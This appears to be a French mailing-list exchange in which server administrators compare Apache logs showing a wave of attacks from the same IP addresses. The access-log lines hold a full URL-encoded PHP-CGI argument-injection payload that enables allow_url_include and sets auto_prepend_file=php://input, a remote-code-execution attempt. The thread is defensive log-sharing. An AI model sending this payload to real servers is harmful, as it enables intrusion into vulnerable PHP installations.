Salut, J'ai à peu près la même chose, avec les mêmes ip source./var/log/apache2/error.log:[Sun Dec 15 13:05:38.268946 2013] [cgi:error] [pid 19838] [client 195.130.72.189:34087] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 13:05:38.628728 2013] [cgi:error] [pid 18940] [client 195.130.72.189:35033] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 13:53:34.086379 2013] [cgi:error] [pid 24695] [client 80.244.246.158:44574] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 13:53:34.437323 2013] [cgi:error] [pid 24895] [client 80.244.246.158:45476] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 14:35:51.748545 2013] [cgi:error] [pid 27266] [client 31.210.106.39:38390] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 17:06:15.883377 2013] [cgi:error] [pid 31592] [client 89.136.120.205:53089] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 19:29:42.699559 2013] [cgi:error] [pid 6912] [client 83.133.121.137:51331] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 19:29:42.971170 2013] [cgi:error] [pid 5822] [client 83.133.121.137:51534] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 20:05:29.604037 2013] [cgi:error] [pid 1871] [client 31.210.106.39:57802] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Sun Dec 15 20:46:07.386942 2013] [cgi:error] [pid 7300] [client 89.136.120.205:42587] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 01:28:23.692750 2013] [cgi:error] [pid 25304] [client 31.210.106.39:50506] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 02:15:23.920433 2013] [cgi:error] [pid 27856] [client 192.151.144.234:58451] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 04:21:44.403874 2013] [cgi:error] [pid 26901] [client 145.253.104.26:43509] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 04:21:44.783903 2013] [cgi:error] [pid 539] [client 145.253.104.26:43583] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 06:02:58.047316 2013] [cgi:error] [pid 4744] [client 80.71.144.17:42792] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 06:02:58.330548 2013] [cgi:error] [pid 3503] [client 80.71.144.17:43060] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 06:40:02.190309 2013] [cgi:error] [pid 4347] [client 200.169.96.156:33817] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 06:40:03.253228 2013] [cgi:error] [pid 8101] [client 200.169.96.156:35201] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 07:01:01.632287 2013] [cgi:error] [pid 14149] [client 50.19.90.54:38714] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 07:01:02.245742 2013] [cgi:error] [pid 925] [client 50.19.90.54:39560] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 07:09:00.085414 2013] [cgi:error] [pid 3314] [client 202.40.204.90:41119] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 07:09:00.827032 2013] [cgi:error] [pid 4744] [client 202.40.204.90:41606] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 08:00:20.226895 2013] [cgi:error] [pid 16910] [client 54.227.165.245:44524] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 08:00:20.601609 2013] [cgi:error] [pid 17326] [client 54.227.165.245:44767] malformed header from script 'php5': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 08:21:12.052637 2013] [cgi:error] [pid 16504] [client 31.210.106.39:58493] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 11:34:15.867450 2013] [cgi:error] [pid 27721] [client 89.136.120.205:48067] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 12:01:06.601616 2013] [cgi:error] [pid 29183] [client 31.210.106.39:49483] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 13:12:30.986322 2013] [cgi:error] [pid 351] [client 31.210.106.39:40039] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 14:46:11.451739 2013] [cgi:error] [pid 5322] [client 31.210.106.39:58862] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 15:22:02.865478 2013] [cgi:error] [pid 7507] [client 192.151.144.234:54280] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 16:43:55.382851 2013] [cgi:error] [pid 12314] [client 89.136.120.205:38306] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 18:25:06.895401 2013] [cgi:error] [pid 16838] [client 31.210.106.39:49952] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 19:09:42.143786 2013] [cgi:error] [pid 2100] [client 31.210.106.39:43191] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 19:19:04.005310 2013] [cgi:error] [pid 4504] [client 192.151.144.234:36569] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 21:34:27.015624 2013] [cgi:error] [pid 10971] [client 31.210.106.39:35708] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP /var/log/apache2/error.log:[Mon Dec 16 21:37:01.277671 2013] [cgi:error] [pid 10968] [client 89.136.120.205:53827] malformed header from script 'php': Bad header: <b>Security Alert!</b> The PHP
Le 16-12-2013 20:42, steve a écrit :
Salut, C'est seulement chez moi, ou on observe une recrudescence d'attaque de script kiddie ? Exemples tiré du syslog: 31.210.106.39 - - [16/Dec/2013:19:34:30 +0100] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 799"-" "-" 89.136.120.205 - - [16/Dec/2013:19:59:06 +0100] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64 %5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 500 799 "-" "-" [Mon Dec 16 19:34:30 2013] [error] [client 31.210.106.39] malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php [Mon Dec 16 19:59:06 2013] [error] [client 89.136.120.205] malformed header from script. Bad header=<b>Security Alert!</b> The PHP: php Depuis un mois ou deux ça n'arrête pas. Pareil chez vous? (j'adore le « Security Alert » ) Bien à vous s.